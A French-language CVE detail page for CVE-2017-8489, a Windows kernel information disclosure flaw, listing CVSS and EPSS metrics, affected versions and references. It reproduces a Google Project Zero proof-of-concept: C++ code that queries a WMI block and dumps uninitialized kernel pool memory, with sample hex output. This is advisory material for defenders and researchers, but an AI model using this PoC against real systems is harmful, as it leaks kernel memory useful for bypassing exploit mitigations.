CVE-2017-8489 : Détail

CVE-2017-8489

5
/
Moyen
A01-Broken Access Control
11.26%V3
Local
2017-06-14
23h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8492, CVE-2017-8491, CVE-2017-8490, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8480, CVE-2017-8479, CVE-2017-8478, CVE-2017-8476, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42213

Date de publication : 2017-06-20 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1152 We have discovered that the handler of the 0x224000 IOCTL (corresponding to the WmiQueryAllData functionality) implemented by the \\.\WMIDataDevice device in ntoskrnl.exe (as dispatched by the nt!WmipIoControl routine) discloses portions of uninitialized pool memory to user-mode clients. On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000d0: 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 ................ 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................ 00000180: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................ 00000190: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002f0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ 00000300: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................ 00000310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000320: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................ 00000330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000340: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................ 00000350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000460: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................ 00000470: ff ff ff ff ff ff ff ff ?? ?? ?? ?? ?? ?? ?? ?? ................ --- cut --- Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, the uninitialized bytes constitute a significant portion of the overall memory area (72 out of 1136). The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- 00000000: 88 01 00 00 10 8d de 8f 00 00 00 00 88 01 00 00 ................ 00000010: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e...... 00000020: a5 01 00 a0 c9 06 29 10 00 00 00 00 81 00 01 00 ......)......... 00000030: 48 00 00 00 01 00 00 00 dc 00 00 00 48 00 00 00 H...........H... 00000040: 92 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........)..... 00000050: 00 56 f8 05 00 00 00 00 78 b4 41 3c 00 00 00 00 .V......x.A<.... 00000060: e8 03 6b 03 00 00 00 00 30 9e 33 7f 8d 00 00 00 ..k.....0.3..... 00000070: 69 5b 00 00 03 44 00 00 00 00 00 00 9b 01 00 00 i[...D.......... 00000080: 30 8c ea b5 a6 91 d2 01 00 00 00 00 50 00 61 00 0...........P.a. 00000090: 72 00 74 00 6d 00 67 00 72 00 20 00 00 00 00 00 r.t.m.g.r. ..... 000000a0: 38 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 8.\.D.e.v.i.c.e. 000000b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s. 000000c0: 6b 00 30 00 5c 00 50 00 61 00 72 00 74 00 69 00 k.0.\.P.a.r.t.i. 000000d0: 74 00 69 00 6f 00 6e 00 30 00[ad ad]e0 00 00 00 t.i.o.n.0....... 000000e0: 9c 00 49 00 44 00 45 00 5c 00 44 00 69 00 73 00 ..I.D.E.\.D.i.s. 000000f0: 6b 00 56 00 42 00 4f 00 58 00 5f 00 48 00 41 00 k.V.B.O.X._.H.A. 00000100: 52 00 44 00 44 00 49 00 53 00 4b 00 5f 00 5f 00 R.D.D.I.S.K._._. 00000110: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000120: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000130: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000140: 5f 00 31 00 2e 00 30 00 5f 00 5f 00 5f 00 5f 00 _.1...0._._._._. 00000150: 5f 00 5c 00 35 00 26 00 33 00 33 00 64 00 31 00 _.\.5.&.3.3.d.1. 00000160: 36 00 33 00 38 00 61 00 26 00 30 00 26 00 30 00 6.3.8.a.&.0.&.0. 00000170: 2e 00 30 00 2e 00 30 00 5f 00 30 00 00 00[ad ad]..0...0._.0..... 00000180:[ad ad ad ad ad ad ad ad]72 01 00 00 20 0e d1 8f ........r... ... 00000190:[ad ad ad ad]78 01 00 00 30 8c ea b5 a6 91 d2 01 ....x...0....... 000001a0: d1 65 d8 bd c1 d7 d0 11 a5 01 00 a0 c9 06 29 10 .e............). 000001b0:[ad ad ad ad]81 00 01 00 48 00 00 00 01 00 00 00 ........H....... 000001c0: d0 00 00 00 48 00 00 00 88 00 00 00[ad ad ad ad]....H........... 000001d0: 00 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 28 a0 00 00 00 00 00 00 ........(....... 000001f0: 20 07 d9 9e 8d 00 00 00 00 00 00 00 1e 00 00 00 ............... 00000200: 00 00 00 00 00 00 00 00 30 8c ea b5 a6 91 d2 01 ........0....... 00000210: 01 00 00 00 56 00 4f 00 4c 00 4d 00 47 00 52 00 ....V.O.L.M.G.R. 00000220: 20 00 20 00 00 00 00 00 2e 00 5c 00 44 00 65 00 . .......\.D.e. 00000230: 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 72 00 v.i.c.e.\.H.a.r. 00000240: 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 6c 00 d.d.i.s.k.V.o.l. 00000250: 75 00 6d 00 65 00 31 00 d4 00 00 00 92 00 53 00 u.m.e.1.......S. 00000260: 54 00 4f 00 52 00 41 00 47 00 45 00 5c 00 56 00 T.O.R.A.G.E.\.V. 00000270: 6f 00 6c 00 75 00 6d 00 65 00 5c 00 7b 00 62 00 o.l.u.m.e.\.{.b. 00000280: 63 00 30 00 35 00 62 00 34 00 39 00 31 00 2d 00 c.0.5.b.4.9.1.-. 00000290: 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 65 00 d.8.4.7.-.1.1.e. 000002a0: 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 38 00 4.-.a.3.0.d.-.8. 000002b0: 30 00 36 00 65 00 36 00 66 00 36 00 65 00 36 00 0.6.e.6.f.6.e.6. 000002c0: 39 00 36 00 33 00 7d 00 23 00 30 00 30 00 30 00 9.6.3.}.#.0.0.0. 000002d0: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0.0.0.0.0.0.0.1. 000002e0: 30 00 30 00 30 00 30 00 30 00 5f 00 30 00 00 00 0.0.0.0.0._.0... 000002f0:[ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad]................ 00000300: 72 01 00 00 20 ae d3 8f[ad ad ad ad]00 00 00 00 r... ........... 00000310: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e...... 00000320: a5 01 00 a0 c9 06 29 10[ad ad ad ad]81 00 01 00 ......)......... 00000330: 48 00 00 00 01 00 00 00 d0 00 00 00 48 00 00 00 H...........H... 00000340: 88 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........)..... 00000350: 00 4e f6 05 00 00 00 00 98 72 59 3c 00 00 00 00 .N.......rY<.... 00000360: b0 f4 75 03 00 00 00 00 38 80 1c 7f 8d 00 00 00 ..u.....8....... 00000370: 69 5b 00 00 e5 43 00 00 00 00 00 00 9b 01 00 00 i[...C.......... 00000380: 30 8c ea b5 a6 91 d2 01 02 00 00 00 56 00 4f 00 0...........V.O. 00000390: 4c 00 4d 00 47 00 52 00 20 00 20 00 00 00 00 00 L.M.G.R. . ..... 000003a0: 2e 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 ..\.D.e.v.i.c.e. 000003b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s. 000003c0: 6b 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 k.V.o.l.u.m.e.2. 000003d0: d4 00 00 00 92 00 53 00 54 00 4f 00 52 00 41 00 ......S.T.O.R.A. 000003e0: 47 00 45 00 5c 00 56 00 6f 00 6c 00 75 00 6d 00 G.E.\.V.o.l.u.m. 000003f0: 65 00 5c 00 7b 00 62 00 63 00 30 00 35 00 62 00 e.\.{.b.c.0.5.b. 00000400: 34 00 39 00 31 00 2d 00 64 00 38 00 34 00 37 00 4.9.1.-.d.8.4.7. 00000410: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3. 00000420: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6. 00000430: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}. 00000440: 23 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 #.0.0.0.0.0.0.0. 00000450: 30 00 30 00 36 00 35 00 30 00 30 00 30 00 30 00 0.0.6.5.0.0.0.0. 00000460: 30 00 5f 00 30 00 00 00[ad ad ad ad ad ad ad ad]0._.0........... 00000470:[ad ad ad ad ad ad ad ad]?? ?? ?? ?? ?? ?? ?? ?? ................ --- cut --- In order to make the PoC code more elegant and portable, we have used the high-level functions available in advapi32.dll (WmiOpenBlock, WmiQueryAllDataW, WmiCloseBlock) with their reverse-engineered declarations, instead of sending the IOCTLs directly to the device. Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { HMODULE hAdvapi32 = LoadLibrary(L"advapi32.dll"); DWORD (WINAPI *WmiOpenBlock)( _In_ GUID *DataBlockGuid, _In_ ULONG DesiredAccess, _Out_ PVOID *DataBlockObject ) = (DWORD (WINAPI *)(GUID *, ULONG, PVOID *))GetProcAddress(hAdvapi32, "WmiOpenBlock"); DWORD (WINAPI *WmiQueryAllDataW)( _In_ PVOID DataBlockObject, _Inout_ ULONG *InOutBufferSize, _Out_opt_ PVOID OutBuffer ) = (DWORD (WINAPI *)(PVOID, ULONG *, PVOID))GetProcAddress(hAdvapi32, "WmiQueryAllDataW"); DWORD(WINAPI *WmiCloseBlock)( _In_ HANDLE Handle ) = (DWORD (WINAPI *)(HANDLE))GetProcAddress(hAdvapi32, "WmiCloseBlock"); // Open the disk perf WMI block. DWORD DiskPerfGuid[] = { 0xBDD865D1, 0x11D0D7C1, 0xA00001A5, 0x102906C9 }; HANDLE hwmi = NULL; DWORD st = WmiOpenBlock((GUID *)DiskPerfGuid, GENERIC_READ, &hwmi); if (st != ERROR_SUCCESS) { printf("WmiOpenBlock failed, %d\n", st); return 1; } // Request the necessary buffer size. DWORD InOutBufferSize = 0; st = WmiQueryAllDataW(hwmi, &InOutBufferSize, NULL); if (st != ERROR_INSUFFICIENT_BUFFER) { printf("WmiQueryAllDataW#1 failed, %d\n", st); WmiCloseBlock(hwmi); return 1; } // Allocate memory and read the output data in full. LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, InOutBufferSize); st = WmiQueryAllDataW(hwmi, &InOutBufferSize, lpBuffer); if (st == ERROR_SUCCESS) { PrintHex((PBYTE)lpBuffer, InOutBufferSize); } else { printf("WmiQueryAllDataW#2 failed, %d\n", st); } // Free resources. HeapFree(GetProcessHeap(), 0, lpBuffer); WmiCloseBlock(hwmi); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Références

http://www.securitytracker.com/id/1038659
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/98865
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42213/
Tags : exploit, x_refsource_EXPLOIT-DB